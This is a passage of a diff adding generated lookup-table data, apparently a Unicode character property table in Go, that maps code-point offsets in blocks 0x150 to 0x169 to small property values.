0x0080, 0x53cf: 0x0080, 0x53d0: 0x00c3, 0x53d1: 0x00c3, + 0x53d2: 0x00c3, 0x53d3: 0x00c3, 0x53d4: 0x00c3, 0x53d5: 0x00c3, 0x53d6: 0x00c3, + // Block 0x150, offset 0x5400 + 0x5400: 0x00c2, 0x5401: 0x00c2, 0x5402: 0x00c2, 0x5403: 0x00c2, 0x5404: 0x00c2, 0x5405: 0x00c2, + 0x5406: 0x00c2, 0x5407: 0x00c2, 0x5408: 0x00c2, 0x5409: 0x00c2, 0x540a: 0x00c2, 0x540b: 0x00c2, + 0x540c: 0x00c2, 0x540d: 0x00c2, 0x540e: 0x00c2, 0x540f: 0x00c2, 0x5410: 0x00c2, 0x5411: 0x00c2, + 0x5412: 0x00c2, 0x5413: 0x00c2, 0x5414: 0x00c2, 0x5415: 0x00c2, 0x5416: 0x00c2, 0x5417: 0x00c2, + 0x5418: 0x00c2, 0x5419: 0x00c2, 0x541a: 0x00c2, 0x541b: 0x00c2, 0x541c: 0x00c2, 0x541d: 0x00c2, + 0x541e: 0x00c2, 0x541f: 0x00c2, 0x5420: 0x00c2, 0x5421: 0x00c2, 0x5422: 0x00c2, 0x5423: 0x00c2, + 0x5424: 0x00c2, 0x5425: 0x00c2, 0x5426: 0x00c2, 0x5427: 0x00c2, 0x5428: 0x00c2, 0x5429: 0x00c2, + 0x542a: 0x00c2, 0x542b: 0x00c2, 0x542c: 0x00c2, 0x542d: 0x00c2, 0x542e: 0x00c2, 0x542f: 0x00c2, + 0x5430: 0x00c2, 0x5431: 0x00c2, 0x5432: 0x00c2, 0x5433: 0x00c2, 0x5434: 0x00c2, 0x5435: 0x00c2, + 0x5436: 0x00c2, 0x5437: 0x00c2, 0x5438: 0x00c2, 0x5439: 0x00c2, 0x543a: 0x00c2, 0x543b: 0x00c2, + 0x543c: 0x00c2, 0x543d: 0x00c2, 0x543e: 0x00c2, 0x543f: 0x00c2, + // Block 0x151, offset 0x5440 + 0x5440: 0x00c2, 0x5441: 0x00c2, 0x5442: 0x00c2, 0x5443: 0x00c2, 0x5444: 0x00c3, 0x5445: 0x00c3, + 0x5446: 0x00c3, 0x5447: 0x00c3, 0x5448: 0x00c3, 0x5449: 0x00c3, 0x544a: 0x00c3, 0x544b: 0x00c3, + 0x5450: 0x00c0, 0x5451: 0x00c0, + 0x5452: 0x00c0, 0x5453: 0x00c0, 0x5454: 0x00c0, 0x5455: 0x00c0, 0x5456: 0x00c0, 0x5457: 0x00c0, + 0x5458: 0x00c0, 0x5459: 0x00c0, + 0x545e: 0x0080, 0x545f: 0x0080, + // Block 0x152, offset 0x5480 + 0x54b1: 0x0080, 0x54b2: 0x0080, 0x54b3: 0x0080, 0x54b4: 0x0080, 0x54b5: 0x0080, + 0x54b6: 0x0080, 0x54b7: 0x0080, 0x54b8: 0x0080, 0x54b9: 0x0080, 0x54ba: 0x0080, 0x54bb: 0x0080, + 0x54bc: 0x0080, 0x54bd: 0x0080, 0x54be: 0x0080, 0x54bf: 0x0080, + // Block 0x153, offset 0x54c0 + 0x54c0: 0x0080, 0x54c1: 0x0080, 0x54c2: 0x0080, 0x54c3: 0x0080, 0x54c4: 0x0080, 0x54c5: 0x0080, + 0x54c6: 0x0080, 0x54c7: 0x0080, 0x54c8: 0x0080, 0x54c9: 0x0080, 0x54ca: 0x0080, 0x54cb: 0x0080, + 0x54cc: 0x0080, 0x54cd: 0x0080, 0x54ce: 0x0080, 0x54cf: 0x0080, 0x54d0: 0x0080, 0x54d1: 0x0080, + 0x54d2: 0x0080, 0x54d3: 0x0080, 0x54d4: 0x0080, 0x54d5: 0x0080, 0x54d6: 0x0080, 0x54d7: 0x0080, + 0x54d8: 0x0080, 0x54d9: 0x0080, 0x54da: 0x0080, 0x54db: 0x0080, 0x54dc: 0x0080, 0x54dd: 0x0080, + 0x54de: 0x0080, 0x54df: 0x0080, 0x54e0: 0x0080, 0x54e1: 0x0080, 0x54e2: 0x0080, 0x54e3: 0x0080, + 0x54e4: 0x0080, 0x54e5: 0x0080, 0x54e6: 0x0080, 0x54e7: 0x0080, 0x54e8: 0x0080, 0x54e9: 0x0080, + 0x54ea: 0x0080, 0x54eb: 0x0080, 0x54ec: 0x0080, 0x54ed: 0x0080, 0x54ee: 0x0080, 0x54ef: 0x0080, + 0x54f0: 0x0080, 0x54f1: 0x0080, 0x54f2: 0x0080, 0x54f3: 0x0080, 0x54f4: 0x0080, + // Block 0x154, offset 0x5500 + 0x5501: 0x0080, 0x5502: 0x0080, 0x5503: 0x0080, 0x5504: 0x0080, 0x5505: 0x0080, + 0x5506: 0x0080, 0x5507: 0x0080, 0x5508: 0x0080, 0x5509: 0x0080, 0x550a: 0x0080, 0x550b: 0x0080, + 0x550c: 0x0080, 0x550d: 0x0080, 0x550e: 0x0080, 0x550f: 0x0080, 0x5510: 0x0080, 0x5511: 0x0080, + 0x5512: 0x0080, 0x5513: 0x0080, 0x5514: 0x0080, 0x5515: 0x0080, 0x5516: 0x0080, 0x5517: 0x0080, + 0x5518: 0x0080, 0x5519: 0x0080, 0x551a: 0x0080, 0x551b: 0x0080, 0x551c: 0x0080, 0x551d: 0x0080, + 0x551e: 0x0080, 0x551f: 0x0080, 0x5520: 0x0080, 0x5521: 0x0080, 0x5522: 0x0080, 0x5523: 0x0080, + 0x5524: 0x0080, 0x5525: 0x0080, 0x5526: 0x0080, 0x5527: 0x0080, 0x5528: 0x0080, 0x5529: 0x0080, + 0x552a: 0x0080, 0x552b: 0x0080, 0x552c: 0x0080, 0x552d: 0x0080, 0x552e: 0x0080, 0x552f: 0x0080, + 0x5530: 0x0080, 0x5531: 0x0080, 0x5532: 0x0080, 0x5533: 0x0080, 0x5534: 0x0080, 0x5535: 0x0080, + 0x5536: 0x0080, 0x5537: 0x0080, 0x5538: 0x0080, 0x5539: 0x0080, 0x553a: 0x0080, 0x553b: 0x0080, + 0x553c: 0x0080, 0x553d: 0x0080, + // Block 0x155, offset 0x5540 + 0x5540: 0x0080, 0x5541: 0x0080, 0x5542: 0x0080, 0x5543: 0x0080, 0x5545: 0x0080, + 0x5546: 0x0080, 0x5547: 0x0080, 0x5548: 0x0080, 0x5549: 0x0080, 0x554a: 0x0080, 0x554b: 0x0080, + 0x554c: 0x0080, 0x554d: 0x0080, 0x554e: 0x0080, 0x554f: 0x0080, 0x5550: 0x0080, 0x5551: 0x0080, + 0x5552: 0x0080, 0x5553: 0x0080, 0x5554: 0x0080, 0x5555: 0x0080, 0x5556: 0x0080, 0x5557: 0x0080, + 0x5558: 0x0080, 0x5559: 0x0080, 0x555a: 0x0080, 0x555b: 0x0080, 0x555c: 0x0080, 0x555d: 0x0080, + 0x555e: 0x0080, 0x555f: 0x0080, 0x5561: 0x0080, 0x5562: 0x0080, + 0x5564: 0x0080, 0x5567: 0x0080, 0x5569: 0x0080, + 0x556a: 0x0080, 0x556b: 0x0080, 0x556c: 0x0080, 0x556d: 0x0080, 0x556e: 0x0080, 0x556f: 0x0080, + 0x5570: 0x0080, 0x5571: 0x0080, 0x5572: 0x0080, 0x5574: 0x0080, 0x5575: 0x0080, + 0x5576: 0x0080, 0x5577: 0x0080, 0x5579: 0x0080, 0x557b: 0x0080, + // Block 0x156, offset 0x5580 + 0x5582: 0x0080, + 0x5587: 0x0080, 0x5589: 0x0080, 0x558b: 0x0080, + 0x558d: 0x0080, 0x558e: 0x0080, 0x558f: 0x0080, 0x5591: 0x0080, + 0x5592: 0x0080, 0x5594: 0x0080, 0x5597: 0x0080, + 0x5599: 0x0080, 0x559b: 0x0080, 0x559d: 0x0080, + 0x559f: 0x0080, 0x55a1: 0x0080, 0x55a2: 0x0080, + 0x55a4: 0x0080, 0x55a7: 0x0080, 0x55a8: 0x0080, 0x55a9: 0x0080, + 0x55aa: 0x0080, 0x55ac: 0x0080, 0x55ad: 0x0080, 0x55ae: 0x0080, 0x55af: 0x0080, + 0x55b0: 0x0080, 0x55b1: 0x0080, 0x55b2: 0x0080, 0x55b4: 0x0080, 0x55b5: 0x0080, + 0x55b6: 0x0080, 0x55b7: 0x0080, 0x55b9: 0x0080, 0x55ba: 0x0080, 0x55bb: 0x0080, + 0x55bc: 0x0080, 0x55be: 0x0080, + // Block 0x157, offset 0x55c0 + 0x55c0: 0x0080, 0x55c1: 0x0080, 0x55c2: 0x0080, 0x55c3: 0x0080, 0x55c4: 0x0080, 0x55c5: 0x0080, + 0x55c6: 0x0080, 0x55c7: 0x0080, 0x55c8: 0x0080, 0x55c9: 0x0080, 0x55cb: 0x0080, + 0x55cc: 0x0080, 0x55cd: 0x0080, 0x55ce: 0x0080, 0x55cf: 0x0080, 0x55d0: 0x0080, 0x55d1: 0x0080, + 0x55d2: 0x0080, 0x55d3: 0x0080, 0x55d4: 0x0080, 0x55d5: 0x0080, 0x55d6: 0x0080, 0x55d7: 0x0080, + 0x55d8: 0x0080, 0x55d9: 0x0080, 0x55da: 0x0080, 0x55db: 0x0080, + 0x55e1: 0x0080, 0x55e2: 0x0080, 0x55e3: 0x0080, + 0x55e5: 0x0080, 0x55e6: 0x0080, 0x55e7: 0x0080, 0x55e8: 0x0080, 0x55e9: 0x0080, + 0x55eb: 0x0080, 0x55ec: 0x0080, 0x55ed: 0x0080, 0x55ee: 0x0080, 0x55ef: 0x0080, + 0x55f0: 0x0080, 0x55f1: 0x0080, 0x55f2: 0x0080, 0x55f3: 0x0080, 0x55f4: 0x0080, 0x55f5: 0x0080, + 0x55f6: 0x0080, 0x55f7: 0x0080, 0x55f8: 0x0080, 0x55f9: 0x0080, 0x55fa: 0x0080, 0x55fb: 0x0080, + // Block 0x158, offset 0x5600 + 0x5630: 0x0080, 0x5631: 0x0080, + // Block 0x159, offset 0x5640 + 0x5640: 0x0080, 0x5641: 0x0080, 0x5642: 0x0080, 0x5643: 0x0080, 0x5644: 0x0080, 0x5645: 0x0080, + 0x5646: 0x0080, 0x5647: 0x0080, 0x5648: 0x0080, 0x5649: 0x0080, 0x564a: 0x0080, 0x564b: 0x0080, + 0x564c: 0x0080, 0x564d: 0x0080, 0x564e: 0x0080, 0x564f: 0x0080, 0x5650: 0x0080, 0x5651: 0x0080, + 0x5652: 0x0080, 0x5653: 0x0080, 0x5654: 0x0080, 0x5655: 0x0080, 0x5656: 0x0080, 0x5657: 0x0080, + 0x5658: 0x0080, 0x5659: 0x0080, 0x565a: 0x0080, 0x565b: 0x0080, 0x565c: 0x0080, 0x565d: 0x0080, + 0x565e: 0x0080, 0x565f: 0x0080, 0x5660: 0x0080, 0x5661: 0x0080, 0x5662: 0x0080, 0x5663: 0x0080, + 0x5664: 0x0080, 0x5665: 0x0080, 0x5666: 0x0080, 0x5667: 0x0080, 0x5668: 0x0080, 0x5669: 0x0080, + 0x566a: 0x0080, 0x566b: 0x0080, + 0x5670: 0x0080, 0x5671: 0x0080, 0x5672: 0x0080, 0x5673: 0x0080, 0x5674: 0x0080, 0x5675: 0x0080, + 0x5676: 0x0080, 0x5677: 0x0080, 0x5678: 0x0080, 0x5679: 0x0080, 0x567a: 0x0080, 0x567b: 0x0080, + 0x567c: 0x0080, 0x567d: 0x0080, 0x567e: 0x0080, 0x567f: 0x0080, + // Block 0x15a, offset 0x5680 + 0x5680: 0x0080, 0x5681: 0x0080, 0x5682: 0x0080, 0x5683: 0x0080, 0x5684: 0x0080, 0x5685: 0x0080, + 0x5686: 0x0080, 0x5687: 0x0080, 0x5688: 0x0080, 0x5689: 0x0080, 0x568a: 0x0080, 0x568b: 0x0080, + 0x568c: 0x0080, 0x568d: 0x0080, 0x568e: 0x0080, 0x568f: 0x0080, 0x5690: 0x0080, 0x5691: 0x0080, + 0x5692: 0x0080, 0x5693: 0x0080, + 0x56a0: 0x0080, 0x56a1: 0x0080, 0x56a2: 0x0080, 0x56a3: 0x0080, + 0x56a4: 0x0080, 0x56a5: 0x0080, 0x56a6: 0x0080, 0x56a7: 0x0080, 0x56a8: 0x0080, 0x56a9: 0x0080, + 0x56aa: 0x0080, 0x56ab: 0x0080, 0x56ac: 0x0080, 0x56ad: 0x0080, 0x56ae: 0x0080, + 0x56b1: 0x0080, 0x56b2: 0x0080, 0x56b3: 0x0080, 0x56b4: 0x0080, 0x56b5: 0x0080, + 0x56b6: 0x0080, 0x56b7: 0x0080, 0x56b8: 0x0080, 0x56b9: 0x0080, 0x56ba: 0x0080, 0x56bb: 0x0080, + 0x56bc: 0x0080, 0x56bd: 0x0080, 0x56be: 0x0080, 0x56bf: 0x0080, + // Block 0x15b, offset 0x56c0 + 0x56c1: 0x0080, 0x56c2: 0x0080, 0x56c3: 0x0080, 0x56c4: 0x0080, 0x56c5: 0x0080, + 0x56c6: 0x0080, 0x56c7: 0x0080, 0x56c8: 0x0080, 0x56c9: 0x0080, 0x56ca: 0x0080, 0x56cb: 0x0080, + 0x56cc: 0x0080, 0x56cd: 0x0080, 0x56ce: 0x0080, 0x56cf: 0x0080, 0x56d1: 0x0080, + 0x56d2: 0x0080, 0x56d3: 0x0080, 0x56d4: 0x0080, 0x56d5: 0x0080, 0x56d6: 0x0080, 0x56d7: 0x0080, + 0x56d8: 0x0080, 0x56d9: 0x0080, 0x56da: 0x0080, 0x56db: 0x0080, 0x56dc: 0x0080, 0x56dd: 0x0080, + 0x56de: 0x0080, 0x56df: 0x0080, 0x56e0: 0x0080, 0x56e1: 0x0080, 0x56e2: 0x0080, 0x56e3: 0x0080, + 0x56e4: 0x0080, 0x56e5: 0x0080, 0x56e6: 0x0080, 0x56e7: 0x0080, 0x56e8: 0x0080, 0x56e9: 0x0080, + 0x56ea: 0x0080, 0x56eb: 0x0080, 0x56ec: 0x0080, 0x56ed: 0x0080, 0x56ee: 0x0080, 0x56ef: 0x0080, + 0x56f0: 0x0080, 0x56f1: 0x0080, 0x56f2: 0x0080, 0x56f3: 0x0080, 0x56f4: 0x0080, 0x56f5: 0x0080, + // Block 0x15c, offset 0x5700 + 0x5726: 0x0080, 0x5727: 0x0080, 0x5728: 0x0080, 0x5729: 0x0080, + 0x572a: 0x0080, 0x572b: 0x0080, 0x572c: 0x0080, 0x572d: 0x0080, 0x572e: 0x0080, 0x572f: 0x0080, + 0x5730: 0x0080, 0x5731: 0x0080, 0x5732: 0x0080, 0x5733: 0x0080, 0x5734: 0x0080, 0x5735: 0x0080, + 0x5736: 0x0080, 0x5737: 0x0080, 0x5738: 0x0080, 0x5739: 0x0080, 0x573a: 0x0080, 0x573b: 0x0080, + 0x573c: 0x0080, 0x573d: 0x0080, 0x573e: 0x0080, 0x573f: 0x0080, + // Block 0x15d, offset 0x5740 + 0x5740: 0x008c, 0x5741: 0x0080, 0x5742: 0x0080, + 0x5750: 0x0080, 0x5751: 0x0080, + 0x5752: 0x0080, 0x5753: 0x0080, 0x5754: 0x0080, 0x5755: 0x0080, 0x5756: 0x0080, 0x5757: 0x0080, + 0x5758: 0x0080, 0x5759: 0x0080, 0x575a: 0x0080, 0x575b: 0x0080, 0x575c: 0x0080, 0x575d: 0x0080, + 0x575e: 0x0080, 0x575f: 0x0080, 0x5760: 0x0080, 0x5761: 0x0080, 0x5762: 0x0080, 0x5763: 0x0080, + 0x5764: 0x0080, 0x5765: 0x0080, 0x5766: 0x0080, 0x5767: 0x0080, 0x5768: 0x0080, 0x5769: 0x0080, + 0x576a: 0x0080, 0x576b: 0x0080, 0x576c: 0x0080, 0x576d: 0x0080, 0x576e: 0x0080, 0x576f: 0x0080, + 0x5770: 0x0080, 0x5771: 0x0080, 0x5772: 0x0080, 0x5773: 0x0080, 0x5774: 0x0080, 0x5775: 0x0080, + 0x5776: 0x0080, 0x5777: 0x0080, 0x5778: 0x0080, 0x5779: 0x0080, 0x577a: 0x0080, 0x577b: 0x0080, + // Block 0x15e, offset 0x5780 + 0x5780: 0x0080, 0x5781: 0x0080, 0x5782: 0x0080, 0x5783: 0x0080, 0x5784: 0x0080, 0x5785: 0x0080, + 0x5786: 0x0080, 0x5787: 0x0080, 0x5788: 0x0080, + 0x5790: 0x0080, 0x5791: 0x0080, + 0x57a0: 0x0080, 0x57a1: 0x0080, 0x57a2: 0x0080, 0x57a3: 0x0080, + 0x57a4: 0x0080, 0x57a5: 0x0080, + // Block 0x15f, offset 0x57c0 + 0x57c0: 0x0080, 0x57c1: 0x0080, 0x57c2: 0x0080, 0x57c3: 0x0080, 0x57c4: 0x0080, 0x57c5: 0x0080, + 0x57c6: 0x0080, 0x57c7: 0x0080, 0x57c8: 0x0080, 0x57c9: 0x0080, 0x57ca: 0x0080, 0x57cb: 0x0080, + 0x57cc: 0x0080, 0x57cd: 0x0080, 0x57ce: 0x0080, 0x57cf: 0x0080, 0x57d0: 0x0080, 0x57d1: 0x0080, + 0x57d2: 0x0080, 0x57d3: 0x0080, 0x57d4: 0x0080, 0x57d5: 0x0080, 0x57d6: 0x0080, 0x57d7: 0x0080, + 0x57dc: 0x0080, 0x57dd: 0x0080, + 0x57de: 0x0080, 0x57df: 0x0080, 0x57e0: 0x0080, 0x57e1: 0x0080, 0x57e2: 0x0080, 0x57e3: 0x0080, + 0x57e4: 0x0080, 0x57e5: 0x0080, 0x57e6: 0x0080, 0x57e7: 0x0080, 0x57e8: 0x0080, 0x57e9: 0x0080, + 0x57ea: 0x0080, 0x57eb: 0x0080, 0x57ec: 0x0080, + 0x57f0: 0x0080, 0x57f1: 0x0080, 0x57f2: 0x0080, 0x57f3: 0x0080, 0x57f4: 0x0080, 0x57f5: 0x0080, + 0x57f6: 0x0080, 0x57f7: 0x0080, 0x57f8: 0x0080, 0x57f9: 0x0080, 0x57fa: 0x0080, 0x57fb: 0x0080, + 0x57fc: 0x0080, + // Block 0x160, offset 0x5800 + 0x5800: 0x0080, 0x5801: 0x0080, 0x5802: 0x0080, 0x5803: 0x0080, 0x5804: 0x0080, 0x5805: 0x0080, + 0x5806: 0x0080, 0x5807: 0x0080, 0x5808: 0x0080, 0x5809: 0x0080, 0x580a: 0x0080, 0x580b: 0x0080, + 0x580c: 0x0080, 0x580d: 0x0080, 0x580e: 0x0080, 0x580f: 0x0080, 0x5810: 0x0080, 0x5811: 0x0080, + 0x5812: 0x0080, 0x5813: 0x0080, 0x5814: 0x0080, 0x5815: 0x0080, 0x5816: 0x0080, 0x5817: 0x0080, + 0x5818: 0x0080, 0x5819: 0x0080, 0x581a: 0x0080, 0x581b: 0x0080, 0x581c: 0x0080, 0x581d: 0x0080, + 0x581e: 0x0080, 0x581f: 0x0080, 0x5820: 0x0080, 0x5821: 0x0080, 0x5822: 0x0080, 0x5823: 0x0080, + 0x5824: 0x0080, 0x5825: 0x0080, 0x5826: 0x0080, 0x5827: 0x0080, 0x5828: 0x0080, 0x5829: 0x0080, + 0x582a: 0x0080, 0x582b: 0x0080, 0x582c: 0x0080, 0x582d: 0x0080, 0x582e: 0x0080, 0x582f: 0x0080, + 0x5830: 0x0080, 0x5831: 0x0080, 0x5832: 0x0080, 0x5833: 0x0080, 0x5834: 0x0080, 0x5835: 0x0080, + 0x5836: 0x0080, 0x583b: 0x0080, + 0x583c: 0x0080, 0x583d: 0x0080, 0x583e: 0x0080, 0x583f: 0x0080, + // Block 0x161, offset 0x5840 + 0x5840: 0x0080, 0x5841: 0x0080, 0x5842: 0x0080, 0x5843: 0x0080, 0x5844: 0x0080, 0x5845: 0x0080, + 0x5846: 0x0080, 0x5847: 0x0080, 0x5848: 0x0080, 0x5849: 0x0080, 0x584a: 0x0080, 0x584b: 0x0080, + 0x584c: 0x0080, 0x584d: 0x0080, 0x584e: 0x0080, 0x584f: 0x0080, 0x5850: 0x0080, 0x5851: 0x0080, + 0x5852: 0x0080, 0x5853: 0x0080, 0x5854: 0x0080, 0x5855: 0x0080, 0x5856: 0x0080, 0x5857: 0x0080, + 0x5858: 0x0080, 0x5859: 0x0080, + 0x5860: 0x0080, 0x5861: 0x0080, 0x5862: 0x0080, 0x5863: 0x0080, + 0x5864: 0x0080, 0x5865: 0x0080, 0x5866: 0x0080, 0x5867: 0x0080, 0x5868: 0x0080, 0x5869: 0x0080, + 0x586a: 0x0080, 0x586b: 0x0080, + 0x5870: 0x0080, + // Block 0x162, offset 0x5880 + 0x5880: 0x0080, 0x5881: 0x0080, 0x5882: 0x0080, 0x5883: 0x0080, 0x5884: 0x0080, 0x5885: 0x0080, + 0x5886: 0x0080, 0x5887: 0x0080, 0x5888: 0x0080, 0x5889: 0x0080, 0x588a: 0x0080, 0x588b: 0x0080, + 0x5890: 0x0080, 0x5891: 0x0080, + 0x5892: 0x0080, 0x5893: 0x0080, 0x5894: 0x0080, 0x5895: 0x0080, 0x5896: 0x0080, 0x5897: 0x0080, + 0x5898: 0x0080, 0x5899: 0x0080, 0x589a: 0x0080, 0x589b: 0x0080, 0x589c: 0x0080, 0x589d: 0x0080, + 0x589e: 0x0080, 0x589f: 0x0080, 0x58a0: 0x0080, 0x58a1: 0x0080, 0x58a2: 0x0080, 0x58a3: 0x0080, + 0x58a4: 0x0080, 0x58a5: 0x0080, 0x58a6: 0x0080, 0x58a7: 0x0080, 0x58a8: 0x0080, 0x58a9: 0x0080, + 0x58aa: 0x0080, 0x58ab: 0x0080, 0x58ac: 0x0080, 0x58ad: 0x0080, 0x58ae: 0x0080, 0x58af: 0x0080, + 0x58b0: 0x0080, 0x58b1: 0x0080, 0x58b2: 0x0080, 0x58b3: 0x0080, 0x58b4: 0x0080, 0x58b5: 0x0080, + 0x58b6: 0x0080, 0x58b7: 0x0080, 0x58b8: 0x0080, 0x58b9: 0x0080, 0x58ba: 0x0080, 0x58bb: 0x0080, + 0x58bc: 0x0080, 0x58bd: 0x0080, 0x58be: 0x0080, 0x58bf: 0x0080, + // Block 0x163, offset 0x58c0 + 0x58c0: 0x0080, 0x58c1: 0x0080, 0x58c2: 0x0080, 0x58c3: 0x0080, 0x58c4: 0x0080, 0x58c5: 0x0080, + 0x58c6: 0x0080, 0x58c7: 0x0080, + 0x58d0: 0x0080, 0x58d1: 0x0080, + 0x58d2: 0x0080, 0x58d3: 0x0080, 0x58d4: 0x0080, 0x58d5: 0x0080, 0x58d6: 0x0080, 0x58d7: 0x0080, + 0x58d8: 0x0080, 0x58d9: 0x0080, + 0x58e0: 0x0080, 0x58e1: 0x0080, 0x58e2: 0x0080, 0x58e3: 0x0080, + 0x58e4: 0x0080, 0x58e5: 0x0080, 0x58e6: 0x0080, 0x58e7: 0x0080, 0x58e8: 0x0080, 0x58e9: 0x0080, + 0x58ea: 0x0080, 0x58eb: 0x0080, 0x58ec: 0x0080, 0x58ed: 0x0080, 0x58ee: 0x0080, 0x58ef: 0x0080, + 0x58f0: 0x0080, 0x58f1: 0x0080, 0x58f2: 0x0080, 0x58f3: 0x0080, 0x58f4: 0x0080, 0x58f5: 0x0080, + 0x58f6: 0x0080, 0x58f7: 0x0080, 0x58f8: 0x0080, 0x58f9: 0x0080, 0x58fa: 0x0080, 0x58fb: 0x0080, + 0x58fc: 0x0080, 0x58fd: 0x0080, 0x58fe: 0x0080, 0x58ff: 0x0080, + // Block 0x164, offset 0x5900 + 0x5900: 0x0080, 0x5901: 0x0080, 0x5902: 0x0080, 0x5903: 0x0080, 0x5904: 0x0080, 0x5905: 0x0080, + 0x5906: 0x0080, 0x5907: 0x0080, + 0x5910: 0x0080, 0x5911: 0x0080, + 0x5912: 0x0080, 0x5913: 0x0080, 0x5914: 0x0080, 0x5915: 0x0080, 0x5916: 0x0080, 0x5917: 0x0080, + 0x5918: 0x0080, 0x5919: 0x0080, 0x591a: 0x0080, 0x591b: 0x0080, 0x591c: 0x0080, 0x591d: 0x0080, + 0x591e: 0x0080, 0x591f: 0x0080, 0x5920: 0x0080, 0x5921: 0x0080, 0x5922: 0x0080, 0x5923: 0x0080, + 0x5924: 0x0080, 0x5925: 0x0080, 0x5926: 0x0080, 0x5927: 0x0080, 0x5928: 0x0080, 0x5929: 0x0080, + 0x592a: 0x0080, 0x592b: 0x0080, 0x592c: 0x0080, 0x592d: 0x0080, + 0x5930: 0x0080, 0x5931: 0x0080, + // Block 0x165, offset 0x5940 + 0x5940: 0x0080, 0x5941: 0x0080, 0x5942: 0x0080, 0x5943: 0x0080, 0x5944: 0x0080, 0x5945: 0x0080, + 0x5946: 0x0080, 0x5947: 0x0080, 0x5948: 0x0080, 0x5949: 0x0080, 0x594a: 0x0080, 0x594b: 0x0080, + 0x594c: 0x0080, 0x594d: 0x0080, 0x594e: 0x0080, 0x594f: 0x0080, 0x5950: 0x0080, 0x5951: 0x0080, + 0x5952: 0x0080, 0x5953: 0x0080, + 0x5960: 0x0080, 0x5961: 0x0080, 0x5962: 0x0080, 0x5963: 0x0080, + 0x5964: 0x0080, 0x5965: 0x0080, 0x5966: 0x0080, 0x5967: 0x0080, 0x5968: 0x0080, 0x5969: 0x0080, + 0x596a: 0x0080, 0x596b: 0x0080, 0x596c: 0x0080, 0x596d: 0x0080, + 0x5970: 0x0080, 0x5971: 0x0080, 0x5972: 0x0080, 0x5973: 0x0080, 0x5974: 0x0080, 0x5975: 0x0080, + 0x5976: 0x0080, 0x5977: 0x0080, 0x5978: 0x0080, 0x5979: 0x0080, 0x597a: 0x0080, 0x597b: 0x0080, + 0x597c: 0x0080, + // Block 0x166, offset 0x5980 + 0x5980: 0x0080, 0x5981: 0x0080, 0x5982: 0x0080, 0x5983: 0x0080, 0x5984: 0x0080, 0x5985: 0x0080, + 0x5986: 0x0080, 0x5987: 0x0080, 0x5988: 0x0080, + 0x5990: 0x0080, 0x5991: 0x0080, + 0x5992: 0x0080, 0x5993: 0x0080, 0x5994: 0x0080, 0x5995: 0x0080, 0x5996: 0x0080, 0x5997: 0x0080, + 0x5998: 0x0080, 0x5999: 0x0080, 0x599a: 0x0080, 0x599b: 0x0080, 0x599c: 0x0080, 0x599d: 0x0080, + 0x599e: 0x0080, 0x599f: 0x0080, 0x59a0: 0x0080, 0x59a1: 0x0080, 0x59a2: 0x0080, 0x59a3: 0x0080, + 0x59a4: 0x0080, 0x59a5: 0x0080, 0x59a6: 0x0080, 0x59a7: 0x0080, 0x59a8: 0x0080, 0x59a9: 0x0080, + 0x59aa: 0x0080, 0x59ab: 0x0080, 0x59ac: 0x0080, 0x59ad: 0x0080, 0x59ae: 0x0080, 0x59af: 0x0080, + 0x59b0: 0x0080, 0x59b1: 0x0080, 0x59b2: 0x0080, 0x59b3: 0x0080, 0x59b4: 0x0080, 0x59b5: 0x0080, + 0x59b6: 0x0080, 0x59b7: 0x0080, 0x59b8: 0x0080, 0x59b9: 0x0080, 0x59ba: 0x0080, 0x59bb: 0x0080, + 0x59bc: 0x0080, 0x59bd: 0x0080, 0x59bf: 0x0080, + // Block 0x167, offset 0x59c0 + 0x59c0: 0x0080, 0x59c1: 0x0080, 0x59c2: 0x0080, 0x59c3: 0x0080, 0x59c4: 0x0080, 0x59c5: 0x0080, + 0x59ce: 0x0080, 0x59cf: 0x0080, 0x59d0: 0x0080, 0x59d1: 0x0080, + 0x59d2: 0x0080, 0x59d3: 0x0080, 0x59d4: 0x0080, 0x59d5: 0x0080, 0x59d6: 0x0080, 0x59d7: 0x0080, + 0x59d8: 0x0080, 0x59d9: 0x0080, 0x59da: 0x0080, 0x59db: 0x0080, + 0x59e0: 0x0080, 0x59e1: 0x0080, 0x59e2: 0x0080, 0x59e3: 0x0080, + 0x59e4: 0x0080, 0x59e5: 0x0080, 0x59e6: 0x0080, 0x59e7: 0x0080, 0x59e8: 0x0080, + 0x59f0: 0x0080, 0x59f1: 0x0080, 0x59f2: 0x0080, 0x59f3: 0x0080, 0x59f4: 0x0080, 0x59f5: 0x0080, + 0x59f6: 0x0080, 0x59f7: 0x0080, 0x59f8: 0x0080, + // Block 0x168, offset 0x5a00 + 0x5a00: 0x0080, 0x5a01: 0x0080, 0x5a02: 0x0080, 0x5a03: 0x0080, 0x5a04: 0x0080, 0x5a05: 0x0080, + 0x5a06: 0x0080, 0x5a07: 0x0080, 0x5a08: 0x0080, 0x5a09: 0x0080, 0x5a0a: 0x0080, 0x5a0b: 0x0080, + 0x5a0c: 0x0080, 0x5a0d: 0x0080, 0x5a0e: 0x0080, 0x5a0f: 0x0080, 0x5a10: 0x0080, 0x5a11: 0x0080, + 0x5a12: 0x0080, 0x5a14: 0x0080, 0x5a15: 0x0080, 0x5a16: 0x0080, 0x5a17: 0x0080, + 0x5a18: 0x0080, 0x5a19: 0x0080, 0x5a1a: 0x0080, 0x5a1b: 0x0080, 0x5a1c: 0x0080, 0x5a1d: 0x0080, + 0x5a1e: 0x0080, 0x5a1f: 0x0080, 0x5a20: 0x0080, 0x5a21: 0x0080, 0x5a22: 0x0080, 0x5a23: 0x0080, + 0x5a24: 0x0080, 0x5a25: 0x0080, 0x5a26: 0x0080, 0x5a27: 0x0080, 0x5a28: 0x0080, 0x5a29: 0x0080, + 0x5a2a: 0x0080, 0x5a2b: 0x0080, 0x5a2c: 0x0080, 0x5a2d: 0x0080, 0x5a2e: 0x0080, 0x5a2f: 0x0080, + 0x5a30: 0x0080, 0x5a31: 0x0080, 0x5a32: 0x0080, 0x5a33: 0x0080, 0x5a34: 0x0080, 0x5a35: 0x0080, + 0x5a36: 0x0080, 0x5a37: 0x0080, 0x5a38: 0x0080, 0x5a39: 0x0080, 0x5a3a: 0x0080, 0x5a3b: 0x0080, + 0x5a3c: 0x0080, 0x5a3d: 0x0080, 0x5a3e: 0x0080, 0x5a3f: 0x0080, + // Block 0x169, offset 0x5a40 + 0x5a40: 0x0080, 0x5a41: 0x0080, 0x5a42: 0x0080, 0x5a43: 0x0080, 0x5a44: 0x0080, 0x5a45: 0x0080, + 0x5a46: 0x0080, 0x5a47: 0x0080, 0x5a48: 0x0080, 0x5a49: 0x0080, 0x5a4a: 0x0080, + 0x5a70: 0x0080, 0x5a71: 0x0080, 0x5a72: 0x0080, 